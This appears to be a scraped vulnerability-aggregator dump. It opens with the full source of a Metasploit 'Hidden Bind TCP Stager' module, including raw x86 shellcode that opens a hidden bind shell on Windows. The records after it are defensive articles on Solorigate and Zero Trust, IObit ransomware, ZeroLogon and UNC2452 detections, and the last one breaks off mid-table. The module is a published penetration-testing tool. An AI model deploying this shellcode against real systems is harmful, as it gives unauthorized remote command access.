{"id": "MSF:PAYLOAD/WINDOWS/PEINJECT/BIND_HIDDEN_TCP", "type": "metasploit", "bulletinFamily": "exploit", "title": "Windows Inject PE Files, Hidden Bind TCP Stager", "description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Listen for a connection from a hidden port and spawn a command shell to the allowed host.\n", "published": "2014-12-22T16:21:11", "modified": "2017-07-24T13:26:21", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "", "reporter": "Rapid7", "references": [], "cvelist": [], "lastseen": "2020-10-02T05:25:40", "viewCount": 5, "enchantments": {"dependencies": {"references": [{"type": "suse", "idList": ["OPENSUSE-SU-2020:1587-1", "OPENSUSE-SU-2020:1584-1"]}, {"type": "threatpost", "idList": ["THREATPOST:00C11D8FC759189F1AFE2A44C0F84BB7", "THREATPOST:FC8CC9C1B659EF03A4AAC25C837ABEC4", "THREATPOST:593C3AEABA4440E4A5F0BBF2059BD7FE"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:24B84FB3B736727FFA970BDAD371D5A0"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:159430", "PACKETSTORM:159424"]}, {"type": "rst", "idList": ["RST:B86C44CE-28BB-3953-899A-1001E474C629", "RST:DB9DEBA5-E4E8-3DC8-9905-A7A1A00219C9", "RST:DC49DF10-B47A-32FF-8325-E16B62302123", "RST:89A8E507-CD98-32BA-8854-AC9D6D6D03BC", "RST:CDF2D575-0A0F-3E72-991E-4DE685B4F64C", "RST:4494E1D0-A03A-3980-A7E8-8A1AE1C32194", "RST:86A1A9CA-E0F5-30AA-913A-726DB0D33023", "RST:4D98FB1F-751D-3EA5-B7A0-C9B5C3D47716", "RST:53F4B944-05C5-3260-A62B-964CBF64D49E", "RST:6C39A52F-7972-3C06-930B-765C0B18C1F5"]}, {"type": "exploitdb", "idList": ["EDB-ID:48852", "EDB-ID:48848"]}], "modified": "2020-10-02T05:25:40", "rev": 2}, "score": {"value": 0.3, "vector": "NONE", "modified": "2020-10-02T05:25:40", "rev": 2}, "vulnersScore": 0.3}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/stagers/windows/bind_hidden_tcp.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/bind_tcp'\n\n\nmodule MetasploitModule\n\n CachedSize = 343\n\n include Msf::Payload::Stager\n include Msf::Payload::Windows\n\n\n def self.handler_type_alias\n \"bind_hidden_tcp\"\n end\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Hidden Bind TCP Stager',\n 'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host.',\n 'Author' =>\n [\n 'hdm', # original payload module (stager bind_tcp)\n 'skape', # original payload module (stager bind_tcp)\n 'sf', # original payload module (stager bind_tcp)\n 'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality\n ],\n 'License' => MSF_LICENSE,\n 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],\n 'Platform' => 'win',\n 'Arch' => ARCH_X86,\n 'Handler' => Msf::Handler::BindTcp,\n 'Convention' => 'sockedi',\n 'Stager' =>\n {\n 'RequiresMidstager' => false,\n 'Offsets' =>\n {\n 'LPORT' => [ 193, 'n' ],\n 'AHOST' => [ 255, 'ADDR' ]\n },\n 'Payload' =>\n # Length: 343 bytes\n \"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30\\x8b\" +\n \"\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\\xac\\x3c\" +\n \"\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\" +\n \"\\x10\\x8b\\x4a\\x3c\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\" +\n \"\\x01\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\xac\" +\n \"\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\" +\n \"\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\" +\n \"\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\" +\n \"\\xe0\\x5f\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\\x77\" +\n \"\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01\\x00\\x00\" +\n \"\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\" +\n \"\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x31\\xdb\\x53\\x68\\x02\" +\n \"\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\xc2\\xdb\\x37\\x67\\xff\\xd5\" +\n \"\\x6a\\x01\\x54\\x68\\x02\\x30\\x00\\x00\\x68\\xff\\xff\\x00\\x00\\x57\\x68\\xf1\" +\n \"\\xa2\\x77\\x29\\xff\\xd5\\x53\\x57\\x68\\xb7\\xe9\\x38\\xff\\xff\\xd5\\x53\\xe8\" +\n \"\\x17\\x00\\x00\\x00\\x8b\\x44\\x24\\x04\\x8b\\x40\\x04\\x8b\\x40\\x04\\x2d\\xc0\" +\n \"\\xa8\\x01\\x21\\x74\\x03\\x31\\xc0\\x40\\xc2\\x20\\x00\\x53\\x53\\x57\\x68\\x94\" +\n \"\\xac\\xbe\\x33\\xff\\xd5\\x40\\x74\\xd6\\x48\\x57\\x97\\x68\\x75\\x6e\\x4d\\x61\" +\n \"\\xff\\xd5\\x6a\\x00\\x6a\\x04\\x56\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x8b\" +\n \"\\x36\\x6a\\x40\\x68\\x00\\x10\\x00\\x00\\x56\\x6a\\x00\\x68\\x58\\xa4\\x53\\xe5\" +\n \"\\xff\\xd5\\x93\\x53\\x6a\\x00\\x56\\x53\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\" +\n \"\\x01\\xc3\\x29\\xc6\\x75\\xee\\xc3\"\n }\n ))\n\n register_options([\n OptAddress.new('AHOST', [true, \"IP address allowed\", nil])\n ])\n end\nend\n", "metasploitReliability": "", "metasploitHistory": ""}

{"mmpc": [{"lastseen": "2021-01-19T23:26:28", "bulletinFamily": "blog", "cvelist": [], "description": "The [Solorigate supply chain attack](<https://aka.ms/solorigate>) has captured the focus of the world over the last month. This attack was simultaneously sophisticated and ordinary. The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.\n\nCompanies operating with a Zero Trust mentality across their entire environment are more resilient, consistent, and responsive to new attacks\u2014Solorigate is no different. As threats increase in sophistication, Zero Trust matters more than ever, but gaps in the application of the principles\u2014such as unprotected devices, weak passwords, and gaps in multi-factor authentication (MFA) coverage can be exploited by actors.\n\n\n\n## Applying Zero Trust\n\nZero Trust in [practical terms](<https://aka.ms/ztguide>) is a transition from implicit trust\u2014assuming that everything inside a corporate network is safe\u2014to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data. It relies on contextual real-time policy enforcement to achieve least privileged access and minimize risks. Automation and Machine Learning are used to enable rapid detection, prevention, and remediation of attacks using behavior analytics and large datasets.\n\n\n\n## Verify explicitly\n\nTo _verify explicitly_ means we should examine all pertinent aspects of access requests instead of assuming trust based on a weak assurance like network location. Examine the identity, endpoint, network, and resource then apply threat intelligence and analytics to assess the context of each access request.\n\nWhen we look at how attackers compromised identity environments with [Solorigate](<https://aka.ms/solorigate>), there were three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. In each of these cases, we can clearly see where the attacker exploited gaps in **explicit verification**.\n\n * Where user accounts were compromised, [known techniques like password spray, phishing, or malware](<https://aka.ms/yourpassworddoesntmatter>) were used to compromise user credentials and gave the attacker critical access to the customer network. On-premises identity systems are more vulnerable to these common attacks because they lack cloud-powered protections like [password protection](<https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-password-ban-bad>), recent [advances in password spray detection](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/advancing-password-spray-attack-detection/ba-p/1276936>), or [enhanced AI for account compromise prevention](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/enhanced-ai-for-account-compromise-prevention/ba-p/1994653>).\n * Again, in cases where the actor succeeded, highly privileged vendor accounts lacked protections such as MFA, IP range restrictions, device compliance, or access reviews. In other cases, user accounts designated for use with vendor software were configured without MFA or policy restrictions. Vendor accounts should be configured and managed with the same rigor as used for the accounts which belong to the organization.\n * Even in the worst case of SAML token forgery, excessive user permissions and missing device and network policy restrictions allowed the attacks to progress. The first principle of Zero Trust is to verify explicitly\u2014be sure you extend this verification to all access requests, even those from vendors and especially those from on-premises environments.\n\nCloud identity, like Azure Active Directory (Azure AD), is simpler and safer than federating with on-premises identity. Not only is it easier to maintain (fewer moving parts for attackers to exploit), your Zero Trust policy should be informed by cloud intelligence. Our ability to reason over more than eight trillion signals a day across the Microsoft estate coupled with [advanced analytics](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/enhanced-ai-for-account-compromise-prevention/ba-p/1994653>) allows for the detection of anomalies that are very subtle and only detectable in very large data sets. User history, organization history, threat intelligence, and real-time observations are an essential mechanism in a modern defense strategy. Enhance this signal with [endpoint health and compliance](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/machine-reports>), [device compliance policies](<https://docs.microsoft.com/en-us/mem/intune/protect/device-compliance-get-started>), [app protection policies](<https://docs.microsoft.com/en-us/mem/intune/apps/app-protection-policy>), [session monitoring, and control](<https://docs.microsoft.com/en-us/cloud-app-security/session-policy-aad>), and [resource sensitivity](<https://docs.microsoft.com/en-us/microsoft-365/compliance/encryption-sensitivity-labels?view=o365-worldwide>) to get to a Zero Trust verification posture.\n\nFor customers that use federation services today, we continue to develop tools to simplify migration to Azure AD. Start by [discovering the apps that you have and analyzing migration work](<https://www.youtube.com/watch?v=PxLIacDpHh4&list=PLVgH7d08tj4_0KYcPvCKOod9sSBVGYh3x&index=2>) using Azure AD Connect health and activity reports.\n\n## Least privileged access\n\n\n\nLeast privileged access helps ensure that permissions are only granted to meet specific business goals from the appropriate environment and on appropriate devices. This minimizes the attacker\u2019s opportunities for lateral movement by granting access in the appropriate security context and after applying the correct controls\u2014including strong authentication, session limitations, or human approvals and processes. The goal is to compartmentalize attacks by limiting how much any compromised resource (user, device, or network) can access others in the environment.\n\nWith Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had _no_ permissions at all. Conversely, customers with good least-privileged access policies such as using [Privileged Access Workstations (PAW)](<https://docs.microsoft.com/en-us/security/compass/concept-azure-managed-workstation>) devices were able to protect key resources even in the face of initial network access by the attackers.\n\n## Assume breach\n\nOur final principle is to Assume Breach, building our processes and systems assuming that a breach has already happened or soon will. This means using redundant security mechanisms, collecting system telemetry, using it to detect anomalies, and wherever possible, connecting that insight to automation to allow you to prevent, respond and remediate in near-real-time.\n\nSophisticated analysis of anomalies in customer environments was key to detecting this complex attack. Customers that used rich cloud analytics and automation capabilities, such as those provided in Microsoft 365 Defender, were able to rapidly assess attacker behavior and begin their eviction and remediation procedures.\n\nImportantly, organizations such as Microsoft who do not model \u201csecurity through obscurity\u201d but instead model as though the attacker is already observing them are able to have more confidence that mitigations are already in place because threat models assume attacker intrusions.\n\n## Summary and recommendations\n\nIt bears repeating that Solorigate is a truly significant and advanced attack. However ultimately, the attacker techniques observed in this incident can be significantly reduced in risk or mitigated by the application of known security best practices. For organizations\u2014including Microsoft\u2014thorough application of a Zero Trust security model provided meaningful protection against even this advanced attacker.\n\nTo apply the lessons from the Solorigate attack and the principles of Zero Trust that can help protect and defend, get started with these recommendations:\n\n 1. More than any other single step, [enable MFA](<https://aka.ms/enablemfa>) to reduce account compromise probability by more than 99.9 percent. This is so important, we made Azure AD MFA free for _any_ Microsoft customer using a subscription of a commercial online service.\n 2. Configure for Zero Trust using our [Zero Trust Deployment Guides](<https://aka.ms/ztguide>).\n 3. Look at our [Identity workbook for Solorigate](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718>).\n\nStay safe out there.\n\n\u2014 [Alex Weinert](<https://twitter.com/Alex_T_Weinert>)\n\nFor more information about Microsoft Zero Trust please [visit our website](<https://www.microsoft.com/en-us/security/business/zero-trust>). Bookmark the [Security blog](<https://www.microsoft.com/security/blog/>) to keep up with our expert coverage on security matters. Also, follow us at [@MSFTSecurity](<https://twitter.com/@MSFTSecurity>) for the latest news and updates on cybersecurity.\n\nThe post [Using Zero Trust principles to protect against sophisticated attacks like Solorigate](<https://www.microsoft.com/security/blog/2021/01/19/using-zero-trust-principles-to-protect-against-sophisticated-attacks-like-solorigate/>) appeared first on [Microsoft Security.", "modified": "2021-01-19T22:30:50", "published": "2021-01-19T22:30:50", "id": "MMPC:6AB53AD3BBC4D49BB868DC707A991BB8", "href": "https://www.microsoft.com/security/blog/2021/01/19/using-zero-trust-principles-to-protect-against-sophisticated-attacks-like-solorigate/", "type": "mmpc", "title": "Using Zero Trust principles to protect against sophisticated attacks like Solorigate", "cvss": {"score": 0.0, "vector": "NONE"}}], "mssecure": [{"lastseen": "2021-01-19T22:58:56", "bulletinFamily": "blog", "cvelist": [], "description": "The [Solorigate supply chain attack](<https://aka.ms/solorigate>) has captured the focus of the world over the last month. This attack was simultaneously sophisticated and ordinary. The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.\n\nCompanies operating with a Zero Trust mentality across their entire environment are more resilient, consistent, and responsive to new attacks\u2014Solorigate is no different. As threats increase in sophistication, Zero Trust matters more than ever, but gaps in the application of the principles\u2014such as unprotected devices, weak passwords, and gaps in multi-factor authentication (MFA) coverage can be exploited by actors.\n\n\n\n## Applying Zero Trust\n\nZero Trust in [practical terms](<https://aka.ms/ztguide>) is a transition from implicit trust\u2014assuming that everything inside a corporate network is safe\u2014to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data. It relies on contextual real-time policy enforcement to achieve least privileged access and minimize risks. Automation and Machine Learning are used to enable rapid detection, prevention, and remediation of attacks using behavior analytics and large datasets.\n\n\n\n## Verify explicitly\n\nTo _verify explicitly_ means we should examine all pertinent aspects of access requests instead of assuming trust based on a weak assurance like network location. Examine the identity, endpoint, network, and resource then apply threat intelligence and analytics to assess the context of each access request.\n\nWhen we look at how attackers compromised identity environments with [Solorigate](<https://aka.ms/solorigate>), there were three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. In each of these cases, we can clearly see where the attacker exploited gaps in **explicit verification**.\n\n * Where user accounts were compromised, [known techniques like password spray, phishing, or malware](<https://aka.ms/yourpassworddoesntmatter>) were used to compromise user credentials and gave the attacker critical access to the customer network. On-premises identity systems are more vulnerable to these common attacks because they lack cloud-powered protections like [password protection](<https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-password-ban-bad>), recent [advances in password spray detection](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/advancing-password-spray-attack-detection/ba-p/1276936>), or [enhanced AI for account compromise prevention](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/enhanced-ai-for-account-compromise-prevention/ba-p/1994653>).\n * Again, in cases where the actor succeeded, highly privileged vendor accounts lacked protections such as MFA, IP range restrictions, device compliance, or access reviews. In other cases, user accounts designated for use with vendor software were configured without MFA or policy restrictions. Vendor accounts should be configured and managed with the same rigor as used for the accounts which belong to the organization.\n * Even in the worst case of SAML token forgery, excessive user permissions and missing device and network policy restrictions allowed the attacks to progress. The first principle of Zero Trust is to verify explicitly\u2014be sure you extend this verification to all access requests, even those from vendors and especially those from on-premises environments.\n\nCloud identity, like Azure Active Directory (Azure AD), is simpler and safer than federating with on-premises identity. Not only is it easier to maintain (fewer moving parts for attackers to exploit), your Zero Trust policy should be informed by cloud intelligence. Our ability to reason over more than eight trillion signals a day across the Microsoft estate coupled with [advanced analytics](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/enhanced-ai-for-account-compromise-prevention/ba-p/1994653>) allows for the detection of anomalies that are very subtle and only detectable in very large data sets. User history, organization history, threat intelligence, and real-time observations are an essential mechanism in a modern defense strategy. Enhance this signal with [endpoint health and compliance](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/machine-reports>), [device compliance policies](<https://docs.microsoft.com/en-us/mem/intune/protect/device-compliance-get-started>), [app protection policies](<https://docs.microsoft.com/en-us/mem/intune/apps/app-protection-policy>), [session monitoring, and control](<https://docs.microsoft.com/en-us/cloud-app-security/session-policy-aad>), and [resource sensitivity](<https://docs.microsoft.com/en-us/microsoft-365/compliance/encryption-sensitivity-labels?view=o365-worldwide>) to get to a Zero Trust verification posture.\n\nFor customers that use federation services today, we continue to develop tools to simplify migration to Azure AD. Start by [discovering the apps that you have and analyzing migration work](<https://www.youtube.com/watch?v=PxLIacDpHh4&list=PLVgH7d08tj4_0KYcPvCKOod9sSBVGYh3x&index=2>) using Azure AD Connect health and activity reports.\n\n## Least privileged access\n\n\n\nLeast privileged access helps ensure that permissions are only granted to meet specific business goals from the appropriate environment and on appropriate devices. This minimizes the attacker\u2019s opportunities for lateral movement by granting access in the appropriate security context and after applying the correct controls\u2014including strong authentication, session limitations, or human approvals and processes. The goal is to compartmentalize attacks by limiting how much any compromised resource (user, device, or network) can access others in the environment.\n\nWith Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had _no_ permissions at all. Conversely, customers with good least-privileged access policies such as using [Privileged Access Workstations (PAW)](<https://docs.microsoft.com/en-us/security/compass/concept-azure-managed-workstation>) devices were able to protect key resources even in the face of initial network access by the attackers.\n\n## Assume breach\n\nOur final principle is to Assume Breach, building our processes and systems assuming that a breach has already happened or soon will. This means using redundant security mechanisms, collecting system telemetry, using it to detect anomalies, and wherever possible, connecting that insight to automation to allow you to prevent, respond and remediate in near-real-time.\n\nSophisticated analysis of anomalies in customer environments was key to detecting this complex attack. Customers that used rich cloud analytics and automation capabilities, such as those provided in Microsoft 365 Defender, were able to rapidly assess attacker behavior and begin their eviction and remediation procedures.\n\nImportantly, organizations such as Microsoft who do not model \u201csecurity through obscurity\u201d but instead model as though the attacker is already observing them are able to have more confidence that mitigations are already in place because threat models assume attacker intrusions.\n\n## Summary and recommendations\n\nIt bears repeating that Solorigate is a truly significant and advanced attack. However ultimately, the attacker techniques observed in this incident can be significantly reduced in risk or mitigated by the application of known security best practices. For organizations\u2014including Microsoft\u2014thorough application of a Zero Trust security model provided meaningful protection against even this advanced attacker.\n\nTo apply the lessons from the Solorigate attack and the principles of Zero Trust that can help protect and defend, get started with these recommendations:\n\n 1. More than any other single step, [enable MFA](<https://aka.ms/enablemfa>) to reduce account compromise probability by more than 99.9 percent. This is so important, we made Azure AD MFA free for _any_ Microsoft customer using a subscription of a commercial online service.\n 2. Configure for Zero Trust using our [Zero Trust Deployment Guides](<https://aka.ms/ztguide>).\n 3. Look at our [Identity workbook for Solorigate](<https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718>).\n\nStay safe out there.\n\n\u2014 [Alex Weinert](<https://twitter.com/Alex_T_Weinert>)\n\nFor more information about Microsoft Zero Trust please [visit our website](<https://www.microsoft.com/en-us/security/business/zero-trust>). Bookmark the [Security blog](<https://www.microsoft.com/security/blog/>) to keep up with our expert coverage on security matters. Also, follow us at [@MSFTSecurity](<https://twitter.com/@MSFTSecurity>) for the latest news and updates on cybersecurity.\n\nThe post [Using Zero Trust principles to protect against sophisticated attacks like Solorigate](<https://www.microsoft.com/security/blog/2021/01/19/using-zero-trust-principles-to-protect-against-sophisticated-attacks-like-solorigate/>) appeared first on [Microsoft Security.", "modified": "2021-01-19T22:30:50", "published": "2021-01-19T22:30:50", "id": "MSSECURE:6AB53AD3BBC4D49BB868DC707A991BB8", "href": "https://www.microsoft.com/security/blog/2021/01/19/using-zero-trust-principles-to-protect-against-sophisticated-attacks-like-solorigate/", "type": "mssecure", "title": "Using Zero Trust principles to protect against sophisticated attacks like Solorigate", "cvss": {"score": 0.0, "vector": "NONE"}}], "hackread": [{"lastseen": "2021-01-19T20:26:23", "bulletinFamily": "blog", "cvelist": [], "description": "By [Waqas](<https://www.hackread.com/author/hackread/>)\n\nOver the weekend, Windows utility developer IObit was hacked to facilitate a widespread attack for distributing the DeroHE ransomware.\n\nThis is a post from HackRead.com Read the original post: [Hackers compromised IObit forum to spread DeroHE ransomware](<https://www.hackread.com/iobit-forum-hacked-spread-derohe-ransomware/>)", "modified": "2021-01-19T18:59:56", "published": "2021-01-19T18:59:56", "id": "HACKREAD:514B882EA8DC86E4982C83CD4422D202", "href": "https://www.hackread.com/iobit-forum-hacked-spread-derohe-ransomware/", "type": "hackread", "title": "Hackers compromised IObit forum to spread DeroHE ransomware", "cvss": {"score": 0.0, "vector": "NONE"}}], "malwarebytes": [{"lastseen": "2021-01-19T20:27:05", "bulletinFamily": "blog", "cvelist": ["CVE-2020-1472"], "description": "This is the story of a vulnerability that was brought about by the incorrect use of an encryption technique. After it was discovered by researchers, the vulnerability was patched and that should have been the end of the story. Unfortunately the patch caused problems of its own, which made it very unpopular. Cybercriminals seized the opportunity to use the vulnerability for their own purposes. This is the story of ZeroLogon.\n\n### What is ZeroLogon?\n\nThe ZeroLogon vulnerability was discovered by researchers at Secura and is listed in the Common Vulnerabilities and Exposures (CVE) database under [CVE-2020-1472](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472>):\n\n> \u201cAn elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka &#x27;Netlogon Elevation of Privilege Vulnerability&#x27;.\u201d\n\nThis vulnerability exploits a cryptographic flaw in Microsoft\u2019s Active Directory Netlogon Remote Protocol (MS-NRPC), which allows users to log on to servers that are using NTLM (NT LAN Manager). Researchers explained that the issue stems from the incorrect use of AES-CFB8 encryption, which requires randomly generated initialization vectors for each authentication message. Sadly, Windows didn&#x27;t take this requirement into consideration. An attacker can use zeros for the initialization vector, allowing them to take over a domain controller in a matter of seconds.\n\n### How bad is this vulnerability?\n\nVery bad, is the short answer. ZeroLogon has been successfully weaponized by malware authors, who use it for the lateral infection of corporate endpoints. The sophisticated [Trickbot](<https://blog.malwarebytes.com/detections/trojan-trickbot/>) Trojan uses ZeroLogon, which means that it can spread across a vulnerable network easily. [Ryuk ransomware has also been seen](<https://blog.malwarebytes.com/videobytes/2020/12/videobytes-ryuk-ransomware-targeting-us-hospitals/>) using the ZeroLogon vulnerability. \n\n### Is there a patch?\n\nYes, but there&#x27;s a &quot;but&quot;. The vulnerability was actually patched in August 2020, and it wasn\u2019t until a researcher published a report about the vulnerability in September that we started to see it used in malicious activity.\n\nIn late October, Microsoft [warned](<https://msrc-blog.microsoft.com/2020/10/29/attacks-exploiting-netlogon-vulnerability-cve-2020-1472/>) that threat actors were actively exploiting systems that were unpatched against ZeroLogon privilege escalation.\n\nIn November Microsoft also added detection rules to Microsoft Defender to \u201cdetect adversaries as they try to exploit this vulnerability against your domain controllers.\u201d\n\nThe general advice is to use [Secure RPC](<https://docs.oracle.com/cd/E19683-01/806-4078/6jd6cjrte/index.html>) to prevent these attacks. Secure RPC is an authentication method that authenticates both the host and the user who is making a request for a service. Secure RPC uses the Diffie-Hellman authentication mechanism, which uses DES encryption rather than AES-CFB8.\n\n### Why isn\u2019t everything patched against ZeroLogon by now?\n\nThe problem with the patch is that it is not enough to update the server side (Domain Controller), because clients also need to be updated for the protocol to work. And even though Microsoft took care to issue patches for Windows devices, it didn\u2019t provide a solution for legacy operating systems that are no longer supported, or for third-party products. This means that enforcing Secure RPC may break operations for these incompatible systems.\n\n### So, what\u2019s next?\n\nNow, Microsoft has announced that it will enforce the use of Secure RPC .\n\n> \u201cbeginning with the February 9, 2021 Security Update release we will be enabling Domain Controller enforcement mode by default. This will block vulnerable connections from non-compliant devices. DC enforcement mode requires that all Windows and non-Windows devices use Secure RPC with Netlogon secure channel unless customers have explicitly allowed the account to be vulnerable by adding an exception for the non-compliant device.\u201d\n\nHaving read that you might be thinking: &quot;But you said it might break incompatible systems!&quot; True, so Microsoft has made a list of actions that will result in a detailed update plan.\n\n[The update plan outlined by Microsoft](<https://msrc-blog.microsoft.com/2021/01/14/netlogon-domain-controller-enforcement-mode-is-enabled-by-default-beginning-with-the-february-9-2021-security-update-related-to-cve-2020-1472/>) includes the following actions:\n\n * UPDATE your Domain Controllers with an update released August 11, 2020 or later.\n * FIND which devices are making vulnerable connections by monitoring event logs.\n * ADDRESS non-compliant devices making vulnerable connections.\n * [ENABLE](<https://support.microsoft.com/help/4557222#EnablingEnforcementMode>) enforcement mode to address CVE-2020-1472 in your environment.\n\nThis probably means there is still no happy ending to this story. Addressing the non-complaint devices will not be as easy at it sounds, in many cases. In many cases it will end with sysadmins making an exception for such a device. It is advisable however to at least try and follow the steps. Because in the end it will pay off to remove (or at least limit) the vulnerable devices and machines on your network. The cybercriminals will not let go of this treasure so easily.\n\nStay safe, everyone!\n\nThe post [The story of ZeroLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/01/the-story-of-zerologon/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "modified": "2021-01-19T18:37:09", "published": "2021-01-19T18:37:09", "id": "MALWAREBYTES:78E91E28F51B0A15B6CA53FF8A9B480B", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/01/the-story-of-zerologon/", "type": "malwarebytes", "title": "The story of ZeroLogon", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "fireeye": [{"lastseen": "2021-01-19T17:29:22", "bulletinFamily": "info", "cvelist": [], "description": "In December 2020, FireEye uncovered and publicly disclosed a widespread attacker campaign that is being tracked as UNC2452. In some, but not all, of the intrusions associated with this campaign where Mandiant has visibility, the attacker used their access to on-premises networks to gain unauthorized access to the victim\u2019s Microsoft 365 environment.\n\n#### Goals and Objectives\n\nMethodologies that UNC2452 and other threat actors have used to move laterally from on-premises networks to the Microsoft 365 cloud have been detailed in our white paper, _Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452_. The paper also discusses how organizations can proactively harden their environments and remediate environments where similar techniques have been observed.\n\nMandiant is releasing an auditing script, [Azure AD Investigator](<https://github.com/fireeye/Mandiant-Azure-AD-Investigator>), through its GitHub repository that organizations can use to check their Microsoft 365 tenants for indicators of some of the techniques used by UNC2452. The script will alert administrators and security practitioners to artifacts that may require further review to determine if they are truly malicious or part of legitimate activity. Many of the attacker techniques detailed in the white paper are dual-use in nature\u2014they can be used by threat actors but also by legitimate tools. Therefore, a detailed review for specific configuration parameters may be warranted, including correlating and verifying that configurations are aligned with authorized and expected activities.\n\n#### Attacker Tactics, Techniques and Procedures (TTPs)\n\nMandiant has observed UNC2452 and other threat actors moving laterally to the Microsoft 365 cloud using a combination of four primary techniques:\n\n 1. Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (sometimes described as [Golden SAML](<https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps>)). This would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user\u2019s password or their corresponding multi-factor authentication (MFA) mechanism.\n 2. Modify or add trusted domains in Azure AD to add a new federated Identity Provider (IdP) that the attacker controls. This would allow the attacker to forge tokens for arbitrary users and has been described as an [Azure AD](<https://o365blog.com/post/aadbackdoor/>) backdoor.\n 3. Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 that have high privileged directory roles, such as Global Administrator or Application Administrator.\n 4. [Backdoor](<https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/>) an existing Microsoft 365 application by adding a new application or service principal credential in order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc.\n\nRead the white paper for a detailed overview of each technique, including practical remediation and hardening strategies, and check out our auditing script, [Azure AD Investigator](<https://github.com/fireeye/Mandiant-Azure-AD-Investigator>). \n\n#### Detections\n\n**FireEye Helix Detection**\n\n| \n\n**MITRE Technique**\n\n| \n\n**Detection Logic** \n \n---|---|--- \n \nMICROSOFT AZURE ACTIVE DIRECTORY [Risky Sign-In]\n\n| \n\n[T1078.004](<https://attack.mitre.org/techniques/T1078/004/>)\n\n| \n\nAlert on suspicious logon activity as detected by Azure Identity Protection \n \nOFFICE 365 [Federated Domain Set]\n\n| 